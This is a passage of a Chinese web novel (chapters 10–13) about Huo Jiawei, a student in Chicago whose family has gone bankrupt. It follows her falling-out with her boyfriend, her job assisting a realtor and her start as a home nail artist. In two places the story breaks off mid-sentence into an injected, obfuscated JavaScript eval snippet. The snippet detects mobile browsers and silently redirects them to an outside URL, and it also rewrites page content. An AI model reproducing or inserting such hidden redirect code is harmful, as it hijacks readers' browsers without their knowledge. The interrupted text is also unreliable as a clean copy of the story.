手柄材质粗糙、衔接处明显有机器压制的痕迹,貌似是义乌流水线上的产品,她看向徐继唯,轻笑:“你花了多少钱买的?” “两百刀”,徐继唯觉得自己淘到宝了,等着夸奖。 花两百买这么个流水线产品,有点缺心眼…想到自己兢兢业业上两个小时的课,也才赚了一百刀,还被人给骗走了,霍嘉蔚一阵心疼。 又想到以后拿画笔的次数只会越来越少,这东西怕是用不上,心中惋惜和遗憾更甚,眉头不免皱了起来。 徐继唯失落:“怎么了,不喜欢就不要了”。 她动作一顿,抬头看他:“没有,我只是觉得可惜”。 徐继唯不理解:“可惜什么,你不是爱收集画具吗?” “可我以后没空画画了”,想到要带着这些身外之物搬家,霍嘉蔚觉得累。 徐继唯还不知道她卖车、新接了家教兼职的事。趁着这会儿有空,霍嘉蔚索性讲给他听,连同被“尾随”的惊险一幕。 他听完,脸色阴沉。 “我不在这几天,你干了不少事”,想起文乾玥的那番话,他心疼又埋怨,不免有些阴阳怪气。 霍嘉蔚苦笑:“是啊,想到以前浪费好多时间在吃喝玩乐上,一点正经事没干,心里就好后悔。而且,最最最后悔的是,没趁着有钱的时候搞个绿卡,现在还得焦虑签证到期了怎么办,我听说拿学生转工签挺困难的。” 徐继唯烦躁地想,不是在聊画具吗,怎么就扯到签证了。 他有很多话想说,张了张嘴,却不知从何说起,冷声道:“你哪天做兼职,以后我去接你”。 霍嘉蔚见他面色不好,忙说:“不用了,我打车就行。你不是还有两个学分没修满,还是安心学习吧,再不过就得延毕了”。 说到学业,徐继唯更加烦躁:“我的事也不用你管”。 他赌气回了屋,留下霍嘉蔚愕然。 下午,她去帮Yolanda拍宣传图,回想住在男友家的这段日子,心里总觉得不踏实。明明之前他们也互相借住过,可当时并不觉得别扭。 Yolanda说,情侣关系再好,也需要距离和空间。太早把边界混在一起,会把感情消耗殆尽。 明明才认识不久,霍嘉蔚却莫名对她的话很信服。 在她看来,“房产经纪人”这份工作,和黄家松推荐的那些低门槛职业并没什么不同。至于Yolanda,给她留下最初的印象,不过是个专业程度还行、情商高、会说漂亮话的中介而已。 然而做了她大半个月助理,霍嘉蔚才逐渐了解到,Yolanda本科毕业于哥大,是华裔,有个中文名叫吴瑶琳。而她那口流利的普通话,正是为了开拓高净值的华人客户自学的。 并且她只比自己大三岁,却已经是HorizonElite年成交额破千万的Top级王牌经纪人。按5%的佣金比例粗算,一年光佣金就能进账五十万。 五十万美金!?不是虚幻的、建立在坑蒙拐骗上的财富,而是一个踏实、可观,且与她年龄相仿的人实实在在做到的成就。 霍嘉蔚心里一动。 如果给自己三年时间,能不能也做到Yolanda那样? 这个念头在她心里疯狂生长,像探出土壤的嫩芽,带着某种急迫的生命力。 于是,她不自觉地拿Yolanda当参照物,学习她的处事方式、与人沟通的表达技巧,甚至是妆容、穿搭和笑容弧度这种细节。投入程度,比在鉴赏课上解析契马布埃的作品还认真。 为了拉近关系,她主动转发过几次海报,替Yolanda所在的团队做宣传。 Yolanda也很快get到了她的示好,偶尔会分享自己的行业经验、成长心路,对她多了几分照顾和指点。 换作从前,霍嘉蔚觉得讨好他人就是“放低姿态”,放低姿态等于丢失尊严。 她绝不会做这种自降身份的事,让人看笑话。 可黄家松说得对,什么体面都是虚的,只有能帮到自己才是真的。 被命运推到悬崖边,她不知道会不会再次坠落。只能本能地、自救般地去靠近那些更成熟可靠的伙伴——抓住他们,才能减少掉落的几率。 恰好最近卖了车,手里有点钱,她很快选好了新公寓。 市区北部的两居室,离地铁和公交站都很近。缺点要和另一个女生合租,优点是性价比高。如今赚钱的速度远赶不上花钱的速度,她不敢大手大脚。 和徐继唯提搬家的事,他罕见地朝她发了一通脾气。 “随便,要搬就搬吧”。 他说完就回屋了。 霍嘉蔚追上去,本想好好沟通,却见他在打游戏。 “怎么还有时间打游戏?”她好心提醒。 “我的事不用你管”,他又说了这句话。 仿佛在暗示什么。你的事也别拖累我。 即使徐继唯没想表达这层意思,在敏感脆弱的自尊心驱使下,霍嘉蔚还是下意识地往这个方向曲解。 她忍住胸口的酸涩,深吸一口气:“到时候毕不了业可别怪我。” 徐继唯猛地站起来,“我什么时候怪过你了?” “你是没怪过我”,她盯着他,声音不自觉抬高:“但你家里人、周围朋友,哪个没有暗示我拖累你?” 空气瞬间凝固,徐继唯僵着脸:“没这回事,你别胡搅蛮缠行不行”。 “我虽然不出门,但也知道他们会说什么”。 “行了”,徐继唯突然吼出来,打断她,“是你自己太敏感了”。 霍嘉蔚瞬间不想说话了。 徐继唯却继续埋怨:“你也知道别人会说闲言碎语,那你有想过我吗?有人骚扰你的事,为什么瞒着我?还有你现在打零工能赚多少钱,够买一双鞋吗?我都说了我可以养你,就不能安分一点?” “安分?” 霍嘉蔚愣在原地,眼泪在眼眶里打转:“原来靠自己打工赚钱,在你这儿叫不安分”。 徐继唯愣了下:“没有…我不是这个意思”。 霍嘉蔚摔门而出。 巨大的响声回震在屋里,把听墙角的胡阿姨吓了一跳。她原本不想掺和,此刻忙不迭从厨房端了盘水果出来:“吃点水果,有话好好说”。 霍嘉蔚看也不看她,径自回了屋。 平复了一会儿心情,她开始收拾行李。时间宝贵,不该浪费在无意义的情绪消耗上。 衣服打包到一半,手机弹出消息,是易闵闵发来的。 他说自己之前嘴巴没把门,说话有点偏激,让霍嘉蔚别放在心上。 她还在气头上,看到这毫无诚意的道歉,只觉得莫名其妙。甚至意气用事地想,自己才不需要谁的道歉,有朝一日翻身,一定狠狠打烂这种人的脸。 见霍嘉蔚迟迟不回复,易闵闵又发来消息,道:“这家靶场,我订了周六下午的,和徐说一声”。 接着,甩来一个地址链接。 “?” “徐继唯不是说要带你去靶场体验射击,这家我上次去过,教练很专业。” “他没和我说……”她想了想,还是把这行字删掉,重新敲了一个字:“好”。 她把截图发给徐继唯。 几分钟后,有人敲门。 “你什么时候搬?” 徐继唯声音平静,一点也不像刚吵过架的样子。 霍嘉蔚犹豫了片刻,开门,语气冰冷:“等会就走”。 他顿了顿,好声好气劝道:“多待两天行吗?” 没等霍嘉蔚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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说到这里,她停了一下。家里出事后,她第一次把未来搬到台面上讨论,一瞬间,那层虚幻的安全感被戳破,他们不得不直面某种残酷。 “刘叔说,我爸得罪了很多人。官方在通缉他,债主要找他麻烦,甚至还有人出钱买他的命”,她声音平稳,努力让自己显得云淡风轻:“我已经深陷泥潭了,不能再把你拉下水。其实我有想过,我们是不是该分开。” 徐继唯怔住了。 他一直以为传言夸张,不过是媒体的添油加醋;以为她情绪不稳,只是阶段性的焦虑;以为她突然打几份工,是想自立。却不知道,她现在承受的一切,竟这样让人窒息。 他僵在原地,好半天才开口:“你为什么不和我说?” “告诉你有什么用?我凭什么把你拖进来,让你跟我一起担惊受怕?” 霍嘉蔚知道,作为朋友和恋人,徐继唯挑不出刺:情绪稳定、开朗幽默、对身边的人永远温柔体贴。在一起五年,她觉得他真诚有趣、值得一起走下去。 可同样也是他,做正事缺少耐心,三分钟热度;重要的课题、小组作业,有时候还得靠自己在deadline前帮他完成;都大四了,学分还修得磕磕绊绊。 这些毛病换做往日不成问题,可对如今的她来说,有点缺少安全感。 她深吸一口气,胸腔涨满了疲惫:“我不该要求你和我一样,去承受这些我自己都承受不了的东西。” 徐继唯脸色瞬间沉下来,难看到极点:“原来在你眼里,我就是个养尊处优、没有当担的废物?” 废物谈不上,但养尊处优是真的。 他明明毫不费力就能过上优渥舒适的生活,只要不作妖,一辈子都轻松无忧。何必要自讨苦吃,跟着自己陷入泥泞不堪的境地呢。就算能扛过一时,谁能保证以后不会后悔。日子细水长流,万一哪天吵架,他用这事攻击自己,到时候才难以收场。 霍嘉蔚没有说话,沉默已经是一种回应。 徐继唯沉思良久,内心是在权衡还是反省,她不得而知。 11. 第 11 章 因徐继唯的疏忽,霍嘉蔚不知文乾玥要办生日派对。当天在好友群里刷到讨论的消息,才恍然意识到这件事。 给小珠上完课,她看到徐继唯傍晚时分发来消息:“在哪?我接你一起去酒吧”。 她匆匆回了消息,自己叫了辆车赶过去。路上,心里有些担忧,这阵子忙得晕头转向,怎么会连好友生日都忘了…空手出现,既失礼又尴尬。 似乎知道她在担心什么,徐继唯发来消息:“你来就行,我替你准备了礼物”。 “谢谢”,霍嘉蔚感激又羞愧。 自那天吵架过后,两人勉强达成了默契,先不提分合,一切等毕业了再说。 徐继唯不肯分手,甚至要改变人生规划留在美国,这让霍嘉蔚感动,又陷入了更深的负疚。五年的陪伴、共同经历的美好,确实让她没法痛下决心分开。可另一方面,理智告诉她,父亲的事是个巨大的风险。 她不愿意成为谁的负担。 仓促赶到酒吧,她从墙上镜面装饰里看到自己,厚重的毛衣把肩膀压得垮垮的,深蓝色的宽牛仔裤显得腿型粗壮,黑框眼镜、素面朝天的脸——不像赴朋友生日派对的,更像是来后厨兼职的服务生。 她来不及多想,直奔卫生间补妆。 戴上美瞳,从包里翻出气垫,正对着镜子拍脸,外头走廊传来几声断断续续的闲聊。 “霍嘉蔚怎么没来?” 声音很耳熟,是文乾玥的朋友,之前聚会时喊她“宝贝”,很是热络。 旁边有人接话,笑得轻巧:“破产那个?” 霍嘉蔚合上气垫,继续描眉。 “哎你小点声”,有人压低声音:“我听说她现在挺惨的,打两份工还要挤地铁…大概率没空参加这种活动吧”。 “真的假的?她以前可风光得很。” “此一时彼一时。” 几人推门而入,最前面的女生一抬头,正好与她对上视线,话音戛然而止。 空气骤然被抽空,那几人都愣了下,表情一瞬间从聊八卦的轻松变成僵硬的尴尬。 有人挤出笑容,客套道:“Vivian来啦,我们还说怎么没看到你呢”。 霍嘉蔚像没听见一样,继续抹唇膏,抿了抿唇,接着打开水龙头,冲洗指腹沾到的唇蜜。 水声哗啦啦落下,吞没了空气中的尴尬。 她认真洗手,不紧不慢地取纸巾擦干,整个过程,没抬头看任何人一眼,最后越过人群,推门出去。 刚才那几句不痛不痒的闲话,像一根细针,在她胸口悄悄扎了一下,不疼,却让她意识到一个事实:在这个曾经看似亲密的好友圈里,自己已经从“核心成员”变成了一个尴尬的、谁能踩一脚的存在。 她安慰自己想开点,不过是酒肉朋友罢了。同风时亲密,逆风时保持距离。 回到大厅,文乾玥看到她,惊讶又热情地抱了下:“你终于来了,我刚还问徐继唯呢。” 自上次回了文乾玥“微笑”表情后,霍嘉蔚再次见到她,心里有点尴尬,笑道:“生日快乐”。 文乾玥表现得毫不记仇,她今天盛装亮相,妆容精致,情绪高涨。一松开霍嘉蔚,就被另一群朋友招呼走。 霍嘉蔚环视一圈,发现不少陌生面孔。有个男生瞥了她一眼,眼神从毛衣、牛仔裤扫过,停顿了一瞬,随即转回去和同伴继续说笑。 一种被打量的不适感油然而生。 她花了几秒钟平复心绪,然后才朝卡座走去。 灯光闪烁,音乐喧闹声此起彼伏,她终于在人群中找到徐继唯。 他靠坐在沙发里,和旁边的朋友说着什么,侧脸被灯光衬托得帅气清爽。一看到这张脸,霍嘉蔚就自动忽略了他身上其余的毛病,也不想去理会现实种种,至少他们现在还是在一起的,想到这,她心情好了一点。 然而下一秒,徐继唯抬眼,看见她,并无惊喜,也没有上前迎接,更没有多余的热情,只是露出一个极淡的笑,像在和普通朋友打招呼。 霍嘉蔚瞬间不悦,她可以无视别人的恶意,却无法包容男友的淡漠。 易闵闵依旧嘴贫:“哟,大忙人来了。” 说着,他往旁边挪了挪,空出他和徐继唯中间的位置。 霍嘉蔚脸色阴沉,没心情跟他贫,黑着脸坐下。 徐继唯这才慢半拍地转头,问:“喝点什么?” 她像是没听见似的,径自抬手招呼服务生:“一杯mocktail,谢谢”。 氛围有些微妙,旁边几人互相看了一眼,各有所思,唯有易闵闵不怕事大:“霍女神,最近在忙什么?” “瞎忙,哪有你清闲”,霍嘉蔚说完,在心里翻了个白眼。 有人顺势接话:“易少可不闲,咱们的BlinkHomies大本营,可就指望他搭建了,筹备得怎么样了?” BlinkHomies是那这些爱玩游戏、一有空就组队开黑的伙伴们给自己取的队名。 上回去靶场的时候,霍嘉蔚听说了这事,当时还以为是开玩笑,不想竟然来真的。徐继唯也没和她细说,以前他和哥们之间有什么动态,他最爱和自己分享。 她看向徐继唯,还想等他给点反应,可对方却像是有意绕开她的视线,转问另一侧问林湛鸣:“你那谁呢,不是要介绍给嘉蔚认识?” “谁啊”,霍嘉蔚疑惑。 “女朋友”,有人接上。 霍嘉蔚不咸不淡“哦”了一声,先入为主地想,指不定是刚才说闲话里的某位呢。她没心情社交,更没兴趣认识什么新朋友。 正想着,一个甜美轻快的嗓音喊了一声哥哥。 抬头,娃娃脸、大眼睛,穿着粉色毛衣、格子短裙的女孩朝她们走来。张霁安一手拎着miumiu饺子包,另一只手抱着浅色皮草外套,脚下的小短靴敲在地毯上,发出咚咚的闷响。 林湛鸣眼睛一亮,急忙起身,从她手里接过外套,顺手又替她理了理衣领,还贴心地问冷不冷。 “这两人在演偶像剧呢”,易闵闵吐槽。 霍嘉蔚看清张霁安的长相,见是个气质干净乖巧的女孩,把心里那点不痛快收了起来。又因林湛鸣平日里为人和善,便主动微笑,起身打了招呼。 张霁安不认生,顺势挨着她坐下,语气熟络地问这问那,很快就聊开了。 霍嘉蔚有些心不在焉。 自从生活轨迹改变了,她的时间被兼职、课业、账单填满。所谓的派对,在她看来,不过是浪费时间的无用社交罢了。 或许她现在更适合开展的社交活动,是和新室友拼车去开市客采购一周食物。 她隐约意识到,自己正在功利、算计、斤斤计较的道路上越走越远。除开外在因素,或许这也是自己无法和徐继唯再交往下去的深层原因。 张霁安兴冲冲向她展示刚做的美甲:“你看,刚做的,美甲师超难约。是不是超可爱?一个图案手绘二十刀。不过看在手艺这么好的份上,还算值得。” 霍嘉蔚听到价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477963|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格回了神:“多少?” 张霁安愣了一下,还以为自己说错了,重复了一遍:“十个手指下来,刚好四百,其实也还好,毕竟是手绘的。” 霍嘉蔚沉默了两秒。艺术生的直觉告诉她,这手绘图案简单得描两笔就能成型。 张霁安晃着手,得意又天真:“你要不要也做一个?我可以把她家IG推给你。” “好呀”,霍嘉蔚看着甜甜的卡通配色,联想到黄家松之前说过的话,不禁生出一个念头——以自己的绘画基础,完全可以做出比市面上更有设计感、更有审美门槛的手绘美甲。 结束后,徐继唯送她回家。上车系好安全带,她埋头看手机,搜索各种美甲自学教程。 徐继唯在为她没及时回消息的事生气,刻意做出疏远的样子,无非是想刺激她,主动来哄哄自己。这会儿却见她只顾着玩手机,心中更加不满了。 憋了半天,他忍不住咳了几声,把嗓子眼都快咳冒火了,才引起霍嘉蔚的注意。 她抬头问:“感冒了?” 徐继唯没回话,专心开车。 见他不理自己,她也不再问,继续低头看手机。 沉默了片刻,徐继唯突然说:“烧死我算了”。 霍嘉蔚回过神来,被这幼稚的气话逗得发笑:“你在胡言乱语什么?病了就吃药”。 话一出口,徐继唯就后悔了,他也忍不住笑:“还不是怪你。半天不回消息,要不是你室友说你去做家教,我都差点以为你失踪了,准备报警。” “对不起,我下回注意”,她顺势把话题岔开:“你去我家了?怎么样,新室友还是挺好的。人家是气象学博士,据说整个伊利诺伊州的天气预报都是她们课题组在预测,厉害吧”。 徐继唯才不关心什么博士和天气,他在犹豫,下个路口是直行去他家,还是左拐,送她回新租的公寓。没等他开口,霍嘉蔚问:“易闵闵要开电竞酒店?” 他盯着前方车流,反应慢半拍地“嗯”了一声。 “能成吗,我怎么觉得他办事不靠谱。他要能创业成功,我觉得我也能。” 徐继唯侧看她一眼,“谁让你天天笑话人家闲。还有,你凭什么认定他做不成?” 霍嘉蔚分析:“他这人就爱想一出是一出,今天开酒店,明天搞潮牌,后天说不定要开餐厅……等着吧,肯定闹笑话。” 徐继唯被她乐到:“那你呢?创业的话想做什么。” 她移开视线,故作轻松道:“我就是随口一说,现在哪有钱创业。” 徐继唯却继续问:“以后呢,有没有想做的事情?” 她愣了愣:“怎么问这个?” “没什么”,他又咳了两声,声音有些哑:“想知道你后面的打算”。 赚钱、活下去…除此之外,她真没想过什么未来规划。过去有退路和底气,她可以随意发挥。可现在,一想到爸爸成了老赖、妈妈在重新创业,她就觉得负重累累,没资格活得太轻松。 她勉强笑了笑:“先找到工作吧,能顺利拿到工签,就不错了。” 车厢内沉默了几秒。 徐继唯换了个轻松的话题:“我和父母商量了,打算申个硕士,在国外多待几年。” “读硕士?”霍嘉蔚一怔,以徐继唯那点对学业的耐心,他居然会主动要求读书。不用想,一定是为了自己。 她别开视线,努力让语气轻松一些:“你不是最讨厌上学吗?” “我就想留下来,陪着你。” 12. 第 12 章 次日上午,徐继唯陪霍嘉蔚去了趟超市,两人拎着食物和水回公寓。 到家时,碰到了正要出门运动的新室友聂希喆。 她一身干练的运动服,马尾束得又高又利落,边活动手腕关节边和他们打招呼。 霍嘉蔚搬来的那天,聂希喆正在加拿大参加学术会议,只在冰箱上贴了张留言。十几条注意事项和住宿守则,排版工整,格式严谨。 徐继唯一看这种东西就头晕,断言这位室友八成古板又难相处。 今天首次打照面,见她神态松弛、阳光开朗,又想起嘉蔚之前说她是女博士,想必年龄和阅历也甩他们一大截,不免有些局促和心虚。 聂希喆扫了他一眼,确实带着几分过来人的审视。她比霍嘉蔚大了六七岁,在她眼里,这两人都是小孩儿,还是家庭条件很好、被富养长大的那种,和靠奖学金才能出国的自己完全是两路人。 简单打了个招呼,她也懒得多聊,出门跑步了。 徐继唯松了口气,道:“你这室友看起来不严肃,但一开口就让人紧张。你在这住得习惯吗?” “放心吧,很习惯”,霍嘉蔚把东西往冰箱里放:“喆姐人很好的,教了我好多生活技能。她自己炸的油辣子可香了,比外边川菜馆的地道一百倍。” 她从冷藏室拿了密封罐出来,拧开盖子,把罐口凑到他面前:“香不香?” 辛香味直扑鼻腔,徐继唯被猛地呛了一口,整个人往旁边一偏,用手肘挡住鼻子,弯腰连着咳了好几声,边咳还不忘提醒:“人家的东西…不要乱动。” “她送我的。拌饭拌面条都很好吃,要不要尝尝?”霍嘉蔚得意。 徐继唯看了一眼那罐红得发亮的辣油,心里有些嫌弃,反射性地抬手挡开:“不用”。 他原本还想提醒女友,不要吃这种三无食品,却见她把辣椒油当宝贝似的收了起来,只好把到嘴边的话咽了回去。 霍嘉蔚动作没停,熟练地将牛奶面包、蔬菜肉饼塞进属于自己的两格冷藏空间,每一样都仔细检查、确认保质期时长,并按照日期远近摆放得井井有条。 购物袋很快被清空,她折好袋子塞进边柜门缝里,转头冲徐继唯笑:“搞定,回屋吧”。 这笑容让徐继唯涌起一丝不安。看着女友一点点成长、独立,逐渐探索出属于自己的生活方式,而自己还停在原地,他有些惭愧。 拒绝了霍嘉蔚回屋拼乐高的提议,他没待多久就回了,走之前,信誓旦旦地向她保证,一定认真复习功课,确保毕业学分达标。 文乾玥把修过的聚会照片发到群里,问大家能不能发到IG上。霍嘉蔚看着自己妆容简单、毛衣长裤的朴素打扮,在一众礼服和亮片短裙里显得十分违和。她半开玩笑地说:“要不把我裁掉吧”。 刚发出去,文乾玥就秒回了个“OK”。 霍嘉蔚愣了愣,忽然不知道该说些什么。对话很快被其他消息顶上去,看着文乾玥在群里和其他人聊得亲密,她心里有些落寞。 左上角弹出新对话,出乎意料,居然是易闵闵。 上回他给自己道歉,霍嘉蔚就不想搭理,总觉得这人喜怒无常,多少有点反社会人格的倾向。 易闵闵却自来熟地问霍嘉蔚要Yolanda的联系方式。 接着发来一张图片,是RiverNorth附近一栋三层的临街商业楼,灰色外墙带了点旧工业建筑特有的复古感。楼体被嵌在两栋更高的建筑之间,看着很不起眼,也不知道哪找来的图。 似乎是在给酒店选址。 霍嘉蔚暗自警惕,就凭他俩互相看不惯的关系,他会找自己帮忙? 大概率不安好心。可转念一想,给Yolanda介绍客户也不会有什么坏处。犹豫片刻,还是收起了疑心,但没直接把Yolanda的联系方式给他,而是帮忙约了见面时间。 * Yolanda对霍嘉蔚颇有好感,源于初次打交道时,她决策做得十分干脆,说买两套就立刻报价下offer,爽快程度堪比某些亿级资产的大亨。即使最后交易没达成,这份爽快还是给她留下了很好的印象。 后来霍嘉蔚主动解释失约缘由,很少有客户如此诚恳,Yolanda对她多了几分好奇。她总觉得,这个小姑娘身上藏着一股劲,不会轻易被打倒,以后肯定还有机会来找自己买房。 知道霍嘉蔚有难处,Yolanda便随口提议让她来做助理,本以为以她的背景会瞧不上这类兼职。没想到,她不仅来了,还干得挺踏实。 和以往眼高手低的助理不同,霍嘉蔚执行力很强,加上艺术系出身的科班优势,对光线构图有天然的敏感,她拍的样板房宣传照,能达到家居杂志封面图的水平。 做一个小小的助理,完全overqualified。 而当霍嘉蔚把易闵闵这种“钱多心大”的富二代介绍给自己时,Yolanda又发现了她的一项隐藏优势:人脉。 不是那种只会在派对上互相叫宝贝、合照打卡的表面关系,而是真能转化为潜在客户、甚至是高质量买家的人脉。霍嘉蔚虽返贫了,交际圈子却不俗,而她的朋友,从购买力到性格,都是自己喜欢并擅长维护的优质客群。 Yolanda佩服自己的眼力。 聊了十分钟,她大致把易闵闵的需求摸透了。指出RiverNorth那套三层独栋存在动线差、层高低、停车位少等问题,不太适合做酒店。 易闵闵显然是个门外汉,被专业话术唬得一愣,反问:“你有什么建议吗?” 她顺势推荐了另一栋位于核心街区的商业楼。 “底层原本是酒吧,挑高好、格局方正,稍作调整就能改成前台接待与公共休闲区。楼上有五层,都是南北通透的开放式空间,之前分租给几家创业公司作办公室,都是轻度装修,拆改成本很低。” Yolanda说话条理清晰,语气又极具感染力和煽动性。一番陈述下来,确实让易闵闵动了心。 只是价格稍贵了些。 易闵闵犹豫,借口去外面抽烟,实则回车里打了几个电话。 Yolanda瞥了一眼,接着掏出平板和手机计算器,快速制作了一版租售价格对比表。 等他回来,Yolanda开门见山地问:“易先生,你有没有考虑把这栋楼买下来?” 这一问不仅让易闵闵愣住,连霍嘉蔚也有些惊讶,这要是真买下来,至少得花上好几百万。 “假设这栋楼目前的租金价格是每月五万,也就是一年六十万,按照租金每年会上涨3%到4%的幅度,那么十年时间里,你需要支付给房东的金额大约在七百万左右,而这笔钱,最终一分都不会变成你的资产。 “此外,你还要投入装修改善成本,至少十几万美金,这部分的投入同样不可回收,合同到期,价值基本归零。” “所以呢?”易闵闵往后靠了靠,双手交叠,有了继续听下去的兴趣。 “如果你选择把楼买下来,结论就完全不一样了。目前这栋楼的挂牌出售价格是八百万,假设按每年4%的幅度稳步增值……” Yolanda边说边用计算器飞快地敲着数字,随后抬起头:“十年之后,整体价值预计能达到1184万”。 易闵闵没吭声,陷入思考。 她再次强调:“也就是说,十年过去,房产本身就能带来约384万的账面增值,这还不包括期间可能产生的租金收益或经营溢价。” 霍嘉蔚对这套说辞有点熟悉,当初她去看林肯公园和黄金海岸的住宅时,Yolanda也是用同样的方法,把潜在收益一步步算给她看。 不得不 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看着这一幕,霍嘉蔚只觉得不可思议。自己随手牵的线,居然促成了一笔交易? 易闵闵离开后,她悄悄问Yolanda,为什么一开始敢推荐预算翻倍的楼,不怕把客户劝退。 Yolanda动作一顿,轻笑道:“他强调了好几次,说要开的是电竞酒店,但一问具体预算和需求,又答得模糊笼统。这说明什么?” 她看霍嘉蔚一眼,道:“不差钱,也不懂行,纯玩票性质。对于这类客户,我一般先用一套贵点的试试弹性。如果他皱眉,那再往下调。如果他不吭声,那预算可以拉满了。你看,他不是挺满意的么。” 霍嘉蔚仍然困惑:“他原来看中的那栋楼,为什么还没去看,你就能说出那么多问题?” Yolanda轻哼一声:“那套房源代理权不在我们公司,带他去看就是替别人做嫁衣。至于房子的问题,见仁见智罢了”。 这话不难理解,却让霍嘉蔚咀嚼了很久。换作以前,她大概会觉得这种做法太功利了,不道德。可现在觉得情有可原。甚至某种程度上,认为理所当然。 这两个月发生的事情,让她切切实实感受到了现实的残酷。如果只为了做个完美无瑕的好人就让自己吃亏,那才是真正的笨蛋。她要像Yolanda一样理智,也要像她一样强大。 霍嘉蔚最后又问:“最后你为什么要让他买下那栋楼,租和买,完全不是一个性质,也太敢说了吧”。 “销售,就是要敢想敢做。不开口试一试,你怎么知道不行?” Yolanda没多说,其实她看不上租房业务,佣金太低了。 “太厉害了,我都不知道易闵闵能这么有钱。不过就他这种随意的性格,估计开酒店也会赔本,这样一想,你算是帮到他了。” Yolanda微微一笑:“最后做决定的是他自己。我的工作只是告诉他,为什么购买比长期租赁更划算。” 霍嘉蔚点头,更加心疼那两套差点就到手的增值房产了。 Yolanda见她沉默,问:“我等会去跑盘,要不要一起?” “什么是跑盘?” “带客户看房前,先自己把房子走一遍。提前了解采光、车位、噪音、周边环境这些因素。” 霍嘉蔚消化着词汇,无奈道:“我很想,可是我等会要去做家教”。 “那下次”,Yolanda并不介意:“对了,这回多亏你介绍。下次还有这种朋友,记得推给我。交易成功,你也能拿到rebate。” 霍嘉蔚眼睛一亮,又暗了下去。这次纯属巧合,那群朋友正巴不得和她保持距离,哪里还会有客户能介绍。 她笑了笑,仍说道:“一定”。 13. 第 13 章 霍嘉蔚每天刷招聘网站,都能背出某些岗位的JD了,可连一个面试邀请都没收到。 秋招已收尾,年底进入淡季,各大公司的HC冻得比芝加哥的河面还硬。她知道找工作这事急不得,也许来年春天情况会好转。只能一边耐着性子继续投简历,一边抓紧把毕业作品完成。 文乾玥的生日派对后,她下定决心疏远过去那群朋友。老话说得没错,你顺风顺水时,身边都是笑脸和善意;可一旦走下坡路,潜藏的冷漠和恶意就会浮上来。 她渐渐发现,周围批评和挑剔的声音越来越多。 比如,她素颜去学校画室,走廊里碰见熟人,对方第一眼不是看她,而是盯着她额头的痘,语气夸张直白:“天呐,这么大的痘,也不知道遮一下。我这个遮瑕很好,你拿去用吧。” 说着就从包里掏出一支快见底的遮瑕膏,扔到她手里。 之前经常和她一起逛街购物的朋友,如今再找她借会员卡,态度理所当然,好像在说:反正你也用不上,我帮你积分了。言下之意是,你该感谢我才对。 还有在中期评审现场,一位同学,当着大伙的面评价她的毕业作品,看似开玩笑,实则居高临下:“你这件画集合的元素太多了,不懂想要表达什么…” 话音一落,对方扭过头去,不知道和旁边的人说了什么,两个人开始捂嘴笑。 起初,霍嘉蔚还会反思,是不是自己太敏感了,又或者哪里得罪了他们。后来她逐渐想通,其实自己什么都没做错,之所以会被judge,仅仅是因为处于弱势。 不够强,所以不值得被尊重。 既然如此,与其等他们把自己边缘化,倒不如先远离为好。 她把几个群聊设成免打扰,不参加那些“说开就开”的派对,也不想被毫无营养的闲聊影响心情。 多出来的时间用到自己身上,她允许各种声音的存在,但决不受它们影响。 兼职做起来得心应手,助理工作虽然琐碎,却能跟着Yolanda学到不少职场经验;中文家教更是轻松,小珠聪明乖巧,特别黏她,赵培还留她吃过几次晚饭。 她现在一点也不嫌弃这些工作“低端”,比起靠亲朋好友接济、指望父母翻身,还是用双手赚现金获得的安全感更踏实。 她给张霁安说的那家美甲工作室发了私信,问招不招学徒。对方很快回复,让她先去面试,并说明了规矩:学徒要先交学费,通过考核后才能正式上岗,之后每做一单都要按比例上交提成。 还没赚到钱,就得先交一笔钱?霍嘉蔚想了想,这买卖有点亏。干脆自己研究教程,从国内集运了一批工具过来,学黄家松那套模式,搞私人上门美甲,自己接单。 新室友聂希喆是她美甲事业的最大助力者。 她在客厅拆箱甲油胶时,聂希喆路过,还当是她自己用,称赞了句“会玩”。霍嘉蔚把人叫住,解释这可不是拿来玩的,说自己打算做副业。 聂希喆一愣,对这番自力更生的行为刮目相看,当即就把手往前一伸,爽快道:“来,给你练手。我不怕失败,你尽管画。” 手绘和涂色部分还好说,真正麻烦的是修甲和清理过程,打磨、推皮、修型,每一步都讲究手法和技巧。稍微偏一点,甲型就修歪,手一重,就把指尖磨出血。 霍嘉蔚不敢轻易拿聂希喆练手,先回屋里自己练了几天。等到真正熟练了些,又拿徐继唯“开刀”,积累了不少实战经验,才正式给聂希喆做了一次美甲。 纯色本甲加简单的小花手绘,既干净简约又显手白。聂希喆从没花钱享受过这种精致的美甲服务,她越看越满意,举着双给让霍嘉蔚拍照,夸赞:“可以呀,这水平,外面起码要收五六十刀。” “有了这组照片,我可以去发帖找人互免了”,霍嘉蔚一连拍了好多张。 聂希喆动作一顿:“免费给人做?傻瓜,你可以直接开业了。” 只要不是太复杂的款式,霍嘉蔚基本都能还原。她动手能力本来就强,又有美术功底,只要把基础打好,再多练多做,技术进阶不是问题。 被聂希喆这么一鼓励,霍嘉蔚真就开始营业了。 不过接单之路没想象中顺利。 她用小号在群组、社区论坛和微博同城发了帖子,时不时有人问价咨询,但真正下单的寥寥无几。毕竟她是新手,无口碑、无作品、无评价,不被信任也正常。 为了吸引顾客,只能走价格优势。把“一口价本甲基础款”从50刀降到20刀后,终于迎来了第一位客人。 顾客住在城市另一个区域,她现在没车,只能乘公共交通上门,最省时的路线都得一个小时起步。做美甲一个小时,往返路上又花费两个小时,最后三个小时只赚了20刀。 回去的路上,霍嘉蔚想到了《老友记》里瑞秋当服务员拿到第一份工资的画面,和那句共鸣的台词,“完全不值得”。 